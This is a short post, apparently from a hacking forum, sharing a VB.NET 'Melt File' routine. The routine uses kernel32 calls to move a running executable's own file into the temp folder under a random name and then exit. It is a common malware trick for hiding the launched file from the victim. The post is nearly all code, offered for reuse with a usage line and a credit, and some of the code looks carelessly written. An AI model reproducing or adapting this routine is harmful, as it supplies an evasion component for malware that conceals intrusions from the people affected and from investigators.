[VB.NET] Melt File (no drops) [Pure Code] 07-04-2011, 11:48 AM
#1
Code:
Public Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer
Public Declare Function ExitProcess Lib "kernel32" Alias "ExitProcess" (ByVal uExitCode As UInteger) As Integer
Public Declare Function MoveFile Lib "kernel32" Alias "MoveFileExW" (<[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpExistingFileName As String, <[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpNewFileName As String, ByVal dwFlags As Long) As Integer
Public Sub MeltFile()
MoveFile(Left(Application.ExecutablePath, GetModuleFileName(0, Application.ExecutablePath, 256)), System.IO.Path.GetTempPath + "\tmpG" + Date.Now.Millisecond.ToString + ".tmp", 8)
ExitProcess(0)
End SubTo call you use
Code:
MeltFile()Credits to GeneralDee
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
![[Image: backspacez1.png]](http://backspacez.us/forums/images/backspacez1.png)